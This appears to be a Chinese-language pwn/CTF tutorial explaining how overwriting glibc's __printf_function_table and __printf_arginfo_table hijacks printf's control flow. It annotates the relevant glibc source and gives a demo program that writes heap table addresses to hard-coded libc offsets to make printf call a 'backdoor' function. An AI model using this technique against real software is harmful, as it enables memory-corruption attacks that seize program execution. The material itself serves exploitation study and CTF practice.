利用说明
适用版本: glibc2.23 -- now
利用场景: UAF/大堆块/存在格式化字符的使用
利用条件:
-
能使
__printf_function_table处非空 -
可以往 __printf_arginfo_table处可写入地址
效果与限制:
可以劫持程序执行流, 但是参数不可控.
利用方式:
-
劫持
__printf_function_table使其非空
-
劫持
__printf_arginfo_table使其表中存放的spec的位置是后门或者我们的构造的利用链
-
执行到
printf函数时就可以将执行流劫持程序流
spec 是格式化字符,比如最后调用的是 printf("%S\n",a), 那么应该将 __printf_arginfo_table['S'] 的位置写入我们想要执行的地址
原理分析
printf 函数通过检查 __printf_function_table[sepc] 是否为空,来判断是否有自定义的格式化字符,如果判定为有的话,则会去执行 __printf_arginfo_table[spec] 处的函数指针,在这期间并没有进行任何地址的合法性检查.
你可以把
__printf_arginfo_table[spec]当作%spec的hook,__printf_function_table[sepc]则标志着是否存在hook函数. 如何存在, 则在执行诸如printf("%spec")等格式化函数时, 则会去调用hook函数
__register_printf_function
该函数的作用是允许用户自定义格式化字符并进行注册, 以打印用户自定义数据类型的数据. __register_printf_function 函数是对 __register_printf_specifier 进行的封装, 这里就只看 __register_printf_specifier 函数
/* Register FUNC to be called to format SPEC specifiers. */
int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo)
{ // spec 的范围在 [0, 255] 之间// #define UCHAR_MAX 255if (spec < 0 || spec > (int) UCHAR_MAX){__set_errno (EINVAL);return -1;}
int result = 0;__libc_lock_lock (lock); // 上锁// __printf_function_table 表是否为空if (__printf_function_table == NULL){// 为 __printf_arginfo_table/__printf_function_table 分配空间// 可以看到这里分配的空间是: 256*8 * 2 = 0x1000// 第一个 256*8 是 __printf_arginfo_table 表// 第二个 256*8 是 __printf_function_table 表// 所以这两个表是挨着的__printf_arginfo_table = (printf_arginfo_size_function **)calloc(UCHAR_MAX + 1, sizeof(void *) * 2);if (__printf_arginfo_table == NULL){result = -1;goto out;}__printf_function_table = (printf_function **)(__printf_arginfo_table + UCHAR_MAX + 1);}// 为 spec 注册处理函数__printf_function_table[spec] = converter;__printf_arginfo_table[spec] = arginfo;
out:__libc_lock_unlock (lock);
return result;
}
libc_hidden_def (__register_printf_specifier)
weak_alias (__register_printf_specifier, register_printf_specifier)
整个逻辑还是比较清楚的, 来看看这两个表吧先.
// 就是两个函数指针表 typedef int printf_function (FILE *__stream,const struct printf_info *__info,const void *const *__args); typedef int printf_arginfo_size_function (const struct printf_info *__info,size_t __n, int *__argtypes,int *__size);
vprintf
printf 函数调用了 vfprintf 函数,下面的代码是 vprintf 函数中的部分片段, 可以看出来如果 __printf_function_table 不为空, 那么就会调用 printf_positional 函数; 如果为空的话, 就会去执行默认格式化字符的代码部分.
int vfprintf (FILE *s, const CHAR_T *format, va_list ap, unsigned int mode_flags)
{
....../* Use the slow path in case any printf handler is registered. */if (__glibc_unlikely (__printf_function_table != NULL|| __printf_modifier_table != NULL|| __printf_va_arg_table != NULL))goto do_positional;....../* Hand off processing for positional parameters. */
do_positional:
......done = printf_positional (s, format, readonly_format, ap, &ap_save,done, nspecs_done, lead_str_end, work_buffer,save_errno, grouping, thousands_sep, mode_flags);
......return done;
}
而 printf_positional 函数中会在调用 __parse_one_specmb 函数: 一般都是这个, 调试的时候走的就是他
/* Parse the format specifier. */ #ifdef COMPILE_WPRINTFnargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg); #elsenargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg); #endif ......
这两个函数好像是一个玩意:)绷:
size_t
attribute_hidden
#ifdef COMPILE_WPRINTF
__parse_one_specwc (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg)
#else
__parse_one_specmb (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg)
#endif
{
......if (__builtin_expect (__printf_function_table == NULL, 1)|| spec->info.spec > UCHAR_MAX|| __printf_arginfo_table[spec->info.spec] == NULL|| (int) (spec->ndata_args = (*__printf_arginfo_table[spec->info.spec]) (&spec->info, 1, &spec->data_arg_type, &spec->size)) < 0){......
可以看到当 __printf_function_table 不为空时, 最后执行了 (*__printf_arginfo_table[spec->info.spec]) 指向的函数, 这里就是注册的函数指针. 所以如果我们能够篡改 __printf_arginfo_table 中存放的地址, 将其改为我们可控的内存地址, 这样就需要在 __printf_arginfo_table[spec] 写上我们想要执行的函数地址即可控制程序的执行流, 但是这里的参数适合不可控.(没有细研究, printf 的调用链挺复杂的)
__printf_arginfo_table[spec->info.spec]是设置参数类型的函数
利用方式
__printf_arginfo_table 和 __printf_function_table 是在 libc 上, 可读可写, 所以我们可以篡改其的值到堆上, 然后在堆上设置相关函数指针:
demo 如下:
#include <stdio.h>
#include <string.h>
void backdoor()
{puts("hacker");
}
int main()
{char* s = "hello world";long long* table = malloc(0x1000);long long* args_table = &table[0];long long* func_table = &table[256];
long long libc = (long long)&puts - 0x84420;printf("libc base: %#p\n", libc);*(long long*)(libc + 0x1ed7b0) = (long long)args_table;*(long long*)(libc + 0x1f1318) = (long long)func_table;
args_table['s'] = (long long)backdoor;func_table['s'] = (long long)backdoor;printf("content: %s\n", s);return 0;
}
效果如下:
libc base: 0x7fb7270d0000 content: hacker hacker hacker